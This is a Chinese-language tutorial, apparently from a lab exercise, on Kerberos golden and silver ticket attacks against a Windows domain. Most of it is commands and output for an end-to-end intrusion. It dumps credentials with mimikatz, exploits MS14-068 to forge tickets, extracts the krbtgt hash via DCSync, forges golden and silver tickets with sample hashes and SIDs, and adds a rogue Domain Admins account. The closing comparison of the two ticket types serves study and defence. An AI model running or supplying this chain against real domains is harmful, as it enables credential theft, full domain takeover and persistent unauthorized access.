黄金票据和白银票据
黄金票据
在Kerberos认证中,Client 通过AS(身份认证服务)后,AS会给Client一个 Logon Session Key 和TGT,而前者不会保存在KDC中,krbtgt的NTLM hash又是一个固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key 来进入下一步Client 与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不用担心域管理员密码修改。
特点
条件
- 域名称
- 域的SID值
- 域的KRBTGT账户密码HASH
- 伪造用户名,可以是任意的
伪造凭证,提升权限(MS14-068)
通过net config workstation 获取信息
C:\Users\Administrator.test-PC>net config workstation
计算机名 \TEST-PC
计算机全名 test-PC.ninitom.cn
用户名 Administrator
工作站正运行于
NetBTTcpip{D72417A6-3FEE-4E72-9888-C367EF10E98E} (000C293458FA)
NetBTTcpip{12EFD3EF-311C-41FB-BAEE-DDEAAFF265AC} (000C29345804)
软件版本 Windows 7 Ultimate
工作站域 NINITOM
工作站域 DNS 名称 ninitom.cn
登录域 test-PC
COM 打开超时 (秒) 0
COM 发送计数 (字节) 16
COM 发送超时 (毫秒) 250
命令成功完成。
获取到域控制器的主机名
nltest /dsgetdc:ninitom.cn
C:\Users\Administrator.test-PC>nltest /dsgetdc:ninitom.cn
DC: \DC1.ninitom.cn
地址: \10.10.10.10
Dom Guid: d980943d-3b6f-4df6-8385-4de93da743fd
Dom 名称: ninitom.cn
林名称: ninitom.cn
DC 站点名称: Default-First-Site-Name
我们的站点名称: Default-First-Site-Name
标志: PDC GC DS LDAP KDC TIMESERV GTIMESERV WRITABLE DNS_DC DNS_DOMAIN D
NS_FOREST CLOSE_SITE FULL_SECRET WS 0x1C000
抓去密码为n001/Admin@123
mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit”>log.txt
使用获取的域内账户进行登录,登录后属于在域内的一个机器账户为n001
MS14-068提权,受影响版本
Microsoft Windows Windows Server 2012 GoldR2
Microsoft Windows Windows Server 2012 Gold
Microsoft Windows Windows 7 SP1
Microsoft Windows Vista SP2
Microsoft Windows Server 2012 R2
Microsoft Windows Server 2008 SP2
Microsoft Windows Server 2003 SP2
Microsoft Windows 8.1
Microsoft Windows 8
先检查下是否有MS14-068, CVE编号CVE-2014-6324,补丁为 3011780
systeminfo |find “3011780”
如果返回为空就说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。
dir \DC1.ninitom.cn\c$ 查看是否可以访问到DC主机
上传mimikatz和MS14-068提权工具whoami/all查看n001用户的suid:
MS14-068伪造票据
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址
MS14-068.exe -u n001@ninitom.cn -p Admin@123 -s S-1-5-21-970873778-3225337143-3510277655-1107 -d DC1.ninitom.cn
使用mimikatz 清空缓存的凭证
kerberos::purge
kerberos::ptc C:\Users\n001\Desktop\TGT_n001@ninitom.cn.ccache
再次访问域控的目录
添加账号权限
net user test Admin1234 /add /domain
net group “Domain Admins” aaa /add /domain
伪造黄金票据过程
- 域名称
- 域的sid值
- 域的KRBTGT账号的HASH
- 伪造任意用户名登录test域管理员账号,执行whoami查看当前用户
使用mimikatz导出用户krbtgt的hash:
privilege::debug
lsadump::dcsync /domain:ninitom.cn /all /csv
lsadump::dcsync /domian:ninitom.cn /user:krbtgt
获取到krbtgt 用户的hash:
4245d2a4d2bf0fc55153ea91aa2e3537
获取到krbtgt 用户的osid:
S-1-5-21-970873778-3225337143-3510277655-502
使用mimikatz生成金票据,会生成.kirbi文件保存,可以使用
kerberos::golden /domain:域名 /user:任意用户 /sid:sid不包含-和后面的 /krbtgt:ntlm /ticket:文件名.kirbi
hash也可以使用rc4/aes256,推荐使用aes256,rc4也是ntlm hash对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash
mimikatz “kerberos::golden /domain:域名 /user:任意域用户 /sid:域SID /krbtgt:NTLM_HASH /ptt” exit
mimikatz “kerberos::golden /domain:域名 /user:任意域用户 /sid:域SID /rc4:NTLM_HASH /ptt” exit
mimikatz “kerberos::golden /domain:域名 /user:任意域用户 /sid:域SID /aes256:NTLM_HASH /ptt” exit
使用金票据创建域管理员账号
登录普通用户n001
查看票据
klist 查看票据
klist purge 清除票据
查看票据为0,如果有使用purge 清除
运行:
kerberos::golden /domain:ninitom.cn /user:system /sid:S-1-5-21-970873778-3225337143-3510277655 /krbtgt:4245d2a4d2bf0fc55153ea91aa2e3537 /ptt
运行后查看票据,有这个票据基本上算是成功了。
访问域控目录
新建aaa用户
net user test Admin@123 /add /domain
net group “Domain Admins” aaa /add /domain
白银票据
白银票据原理
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
特点
- 不需要与KDC进行交互
-
条件
域名
- 域sid
- 目标服务器名
- 可利用的服务
- 服务账号的NTML HASH
- 需要伪造的用户名
实际操作
登录新建的aaa域管理员用户,到mimikatz
privilege::debug
sekurlsa::logonpasswords
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:/user:<用户名> /ptt
kerberos::golden /domain:ninitom.cn /sid:S-1-5-21-970873778-3225337143-3510277655 /target:DC1.ninitom.cn /service:cifs /rc4:1e4b1e96170023e3acc5ff4dbc7e9379 /user:1111 /ptt
可以通过,dir去访问该c盘的目录,也可以psexec去执行DC1
dir \dc1.ninitom.cn\c$
金票和银票的区别
访问到的权限不同
金票据:伪造TGT,可以获取任意Kerberos的访问权限
银票据:伪造的ST,只能访问特定的服务,如CIFS、LDAP等
认证流程不同
金票据:通kdc交互,不和as交互
银票据:不同KDC交互,直接访问server
加密方式不同:
金票据:由krbtgt NTLM Hash加密
银票据:由服务账号NTLM Hash 加密